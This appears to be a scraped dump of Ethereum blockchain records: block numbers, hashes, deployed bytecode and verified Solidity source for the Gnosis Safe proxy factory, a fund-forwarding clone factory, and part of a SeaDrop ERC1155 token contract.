/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
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|
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| |
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|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
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|
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| |
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|
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|
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|
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|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
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|
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| |
1 | 19,495,930 |
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|
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|
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| |
1 | 19,495,930 |
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|
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|
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| |
1 | 19,495,930 |
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|
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|
fc27cd13b432805f47c90a16646d402566bd3143
|
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|
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| |
1 | 19,495,933 |
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|
8c0209c21d0980f87c423637c7592822caf7f0b044c5e5c05891cf2e99b7fa40
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|
97546e7c00f830f40f3f3b5963c02012d7ad8062
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|
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|
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| |
1 | 19,495,934 |
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|
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|
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|
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|
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|
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| ||
1 | 19,495,935 |
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|
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|
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|
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|
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|
608060405273af1931c20ee0c11bea17a41bfbbad299b2763bc06000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600047905060008111156100cf576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156100cd573d6000803e3d6000fd5b505b5060b4806100de6000396000f3fe6080604052600047905060008111601557600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015607b573d6000803e3d6000fd5b505000fea265627a7a72315820b3e69ef9c4f661d59ada7e4a2a73e978652e4bfd9ebdfca6642edb185642883c64736f6c63430005110032
|
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| |
1 | 19,495,937 |
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|
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|
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|
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1 | 19,495,941 |
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608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,495,944 |
391a4bacda229741c23d9bba40877563673138574aa7a53fa3b9c1cfb7c331d7
|
3ac58a3cc96852e16c682dd7a1ff269de7799c71e287a2b5d7d1ab9b97432c44
|
efad2016599b886a457ffbf313dae2a7a4bfaa27
|
000000f20032b9e171844b00ea507e11960bd94a
|
838276d73c349f88e077c21927ceb37faf044b5d
|
3d602d80600a3d3981f3363d3d373d3d3d363d730d223d05e1cc4ac20de7fce86bc9bb8efb56f4d45af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730d223d05e1cc4ac20de7fce86bc9bb8efb56f4d45af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"src/clones/ERC1155SeaDropCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n ERC1155SeaDropContractOffererCloneable\n} from \"./ERC1155SeaDropContractOffererCloneable.sol\";\n\n/**\n * @title ERC1155SeaDropCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @author Michael Cohen (notmichael.eth)\n * @notice A cloneable ERC1155 token contract that can mint as a\n * Seaport contract offerer.\n */\ncontract ERC1155SeaDropCloneable is ERC1155SeaDropContractOffererCloneable {\n /**\n * @notice Initialize the token contract.\n *\n * @param allowedConfigurer The address of the contract allowed to\n * implementation code. Also contains SeaDrop\n * implementation code.\n * @param allowedSeaport The address of the Seaport contract allowed to\n * interact.\n * @param name_ The name of the token.\n * @param symbol_ The symbol of the token.\n */\n function initialize(\n address allowedConfigurer,\n address allowedSeaport,\n string memory name_,\n string memory symbol_,\n address initialOwner\n ) public initializer {\n // Initialize ownership.\n _initializeOwner(initialOwner);\n\n // Initialize ERC1155SeaDropContractOffererCloneable.\n __ERC1155SeaDropContractOffererCloneable_init(\n allowedConfigurer,\n allowedSeaport,\n name_,\n symbol_\n );\n }\n\n /**\n * @dev Auto-approve the conduit after mint or transfer.\n *\n * @custom:param from The address to transfer from.\n * @param to The address to transfer to.\n * @custom:param ids The token ids to transfer.\n * @custom:param amounts The quantities to transfer.\n * @custom:param data The data to pass if receiver is a contract.\n */\n function _afterTokenTransfer(\n address /* from */,\n address to,\n uint256[] memory /* ids */,\n uint256[] memory /* amounts */,\n bytes memory /* data */\n ) internal virtual override {\n // Auto-approve the conduit.\n if (to != address(0) && !isApprovedForAll(to, _CONDUIT)) {\n _setApprovalForAll(to, _CONDUIT, true);\n }\n }\n\n /**\n * @dev Override this function to return true if `_afterTokenTransfer` is\n * used. The is to help the compiler avoid producing dead bytecode.\n */\n function _useAfterTokenTransfer()\n internal\n view\n virtual\n override\n returns (bool)\n {\n return true;\n }\n\n /**\n * @notice Burns a token, restricted to the owner or approved operator,\n * and must have sufficient balance.\n *\n * @param from The address to burn from.\n * @param id The token id to burn.\n * @param amount The amount to burn.\n */\n function burn(address from, uint256 id, uint256 amount) external {\n // Burn the token.\n _burn(msg.sender, from, id, amount);\n }\n\n /**\n * @notice Burns a batch of tokens, restricted to the owner or\n * approved operator, and must have sufficient balance.\n *\n * @param from The address to burn from.\n * @param ids The token ids to burn.\n * @param amounts The amounts to burn per token id.\n */\n function batchBurn(\n address from,\n uint256[] calldata ids,\n uint256[] calldata amounts\n ) external {\n // Burn the tokens.\n _batchBurn(msg.sender, from, ids, amounts);\n }\n}\n"
},
"src/clones/ERC1155SeaDropContractOffererCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { IERC1155SeaDrop } from \"../interfaces/IERC1155SeaDrop.sol\";\n\nimport { ISeaDropToken } from \"../interfaces/ISeaDropToken.sol\";\n\nimport {\n ERC1155ContractMetadataCloneable\n} from \"./ERC1155ContractMetadataCloneable.sol\";\n\nimport {\n ERC1155SeaDropContractOffererStorage\n} from \"../lib/ERC1155SeaDropContractOffererStorage.sol\";\n\nimport {\n ERC1155SeaDropErrorsAndEvents\n} from \"../lib/ERC1155SeaDropErrorsAndEvents.sol\";\n\nimport { PublicDrop } from \"../lib//ERC1155SeaDropStructs.sol\";\n\nimport { AllowListData } from \"../lib/SeaDropStructs.sol\";\n\nimport {\n ERC1155ConduitPreapproved\n} from \"../lib/ERC1155ConduitPreapproved.sol\";\n\nimport { ERC1155 } from \"solady/src/tokens/ERC1155.sol\";\n\nimport { SpentItem } from \"seaport-types/src/lib/ConsiderationStructs.sol\";\n\nimport {\n ContractOffererInterface\n} from \"seaport-types/src/interfaces/ContractOffererInterface.sol\";\n\nimport {\n IERC165\n} from \"@openzeppelin/contracts/utils/introspection/IERC165.sol\";\n\n/**\n * @title ERC1155SeaDropContractOffererCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @author Michael Cohen (notmichael.eth)\n * @notice A cloneable ERC1155 token contract that can mint as a\n * Seaport contract offerer.\n */\ncontract ERC1155SeaDropContractOffererCloneable is\n ERC1155ContractMetadataCloneable,\n ERC1155SeaDropErrorsAndEvents\n{\n using ERC1155SeaDropContractOffererStorage for ERC1155SeaDropContractOffererStorage.Layout;\n\n /**\n * @notice Initialize the token contract.\n *\n * @param allowedConfigurer The address of the contract allowed to\n * configure parameters. Also contains SeaDrop\n * implementation code.\n * @param allowedSeaport The address of the Seaport contract allowed to\n * interact.\n * @param name_ The name of the token.\n * @param symbol_ The symbol of the token.\n */\n function __ERC1155SeaDropContractOffererCloneable_init(\n address allowedConfigurer,\n address allowedSeaport,\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n // Set the allowed Seaport to interact with this contract.\n if (allowedSeaport == address(0)) {\n revert AllowedSeaportCannotBeZeroAddress();\n }\n ERC1155SeaDropContractOffererStorage.layout()._allowedSeaport[\n allowedSeaport\n ] = true;\n\n // Set the allowed Seaport enumeration.\n address[] memory enumeratedAllowedSeaport = new address[](1);\n enumeratedAllowedSeaport[0] = allowedSeaport;\n ERC1155SeaDropContractOffererStorage\n .layout()\n ._enumeratedAllowedSeaport = enumeratedAllowedSeaport;\n\n // Emit an event noting the contract deployment.\n emit SeaDropTokenDeployed(SEADROP_TOKEN_TYPE.ERC1155_CLONE);\n\n // Initialize ERC1155ContractMetadataCloneable.\n __ERC1155ContractMetadataCloneable_init(\n allowedConfigurer,\n name_,\n symbol_\n );\n }\n\n /**\n * @notice The fallback function is used as a dispatcher for SeaDrop\n * methods.\n */\n fallback(bytes calldata) external returns (bytes memory output) {\n // Get the function selector.\n bytes4 selector = msg.sig;\n\n // Get the rest of the msg data after the selector.\n bytes calldata data = msg.data[4:];\n\n // Determine if we should forward the call to the implementation\n // contract with SeaDrop logic.\n bool callSeaDropImplementation = selector ==\n ISeaDropToken.updateAllowedSeaport.selector ||\n selector == ISeaDropToken.updateDropURI.selector ||\n selector == ISeaDropToken.updateAllowList.selector ||\n selector == ISeaDropToken.updateCreatorPayouts.selector ||\n selector == ISeaDropToken.updatePayer.selector ||\n selector == ISeaDropToken.updateAllowedFeeRecipient.selector ||\n selector == ISeaDropToken.updateSigner.selector ||\n selector == IERC1155SeaDrop.updatePublicDrop.selector ||\n selector == ContractOffererInterface.previewOrder.selector ||\n selector == ContractOffererInterface.generateOrder.selector ||\n selector == ContractOffererInterface.getSeaportMetadata.selector ||\n selector == IERC1155SeaDrop.getPublicDrop.selector ||\n selector == IERC1155SeaDrop.getPublicDropIndexes.selector ||\n selector == ISeaDropToken.getAllowedSeaport.selector ||\n selector == ISeaDropToken.getCreatorPayouts.selector ||\n selector == ISeaDropToken.getAllowListMerkleRoot.selector ||\n selector == ISeaDropToken.getAllowedFeeRecipients.selector ||\n selector == ISeaDropToken.getSigners.selector ||\n selector == ISeaDropToken.getDigestIsUsed.selector ||\n selector == ISeaDropToken.getPayers.selector;\n\n // Determine if we should require only the owner or configurer calling.\n bool requireOnlyOwnerOrConfigurer = selector ==\n ISeaDropToken.updateAllowedSeaport.selector ||\n selector == ISeaDropToken.updateDropURI.selector ||\n selector == ISeaDropToken.updateAllowList.selector ||\n selector == ISeaDropToken.updateCreatorPayouts.selector ||\n selector == ISeaDropToken.updatePayer.selector ||\n selector == ISeaDropToken.updateAllowedFeeRecipient.selector ||\n selector == IERC1155SeaDrop.updatePublicDrop.selector;\n\n if (callSeaDropImplementation) {\n // For update calls, ensure the sender is only the owner\n // or configurer contract.\n if (requireOnlyOwnerOrConfigurer) {\n _onlyOwnerOrConfigurer();\n } else if (selector == ISeaDropToken.updateSigner.selector) {\n // For updateSigner, a signer can disallow themselves.\n // Get the signer parameter.\n address signer = address(bytes20(data[12:32]));\n // If the signer is not allowed, ensure sender is only owner\n // or configurer.\n if (\n msg.sender != signer ||\n (msg.sender == signer &&\n !ERC1155SeaDropContractOffererStorage\n .layout()\n ._allowedSigners[signer])\n ) {\n _onlyOwnerOrConfigurer();\n }\n }\n\n // Forward the call to the implementation contract.\n (bool success, bytes memory returnedData) = _CONFIGURER\n .delegatecall(msg.data);\n\n // Require that the call was successful.\n if (!success) {\n // Bubble up the revert reason.\n assembly {\n revert(add(32, returnedData), mload(returnedData))\n }\n }\n\n // If the call was to generateOrder, mint the tokens.\n if (selector == ContractOffererInterface.generateOrder.selector) {\n _mintOrder(data);\n }\n\n // Return the data from the delegate call.\n return returnedData;\n } else if (selector == IERC1155SeaDrop.getMintStats.selector) {\n // Get the minter and token id.\n (address minter, uint256 tokenId) = abi.decode(\n data,\n (address, uint256)\n );\n\n // Get the mint stats.\n (\n uint256 minterNumMinted,\n uint256 minterNumMintedForTokenId,\n uint256 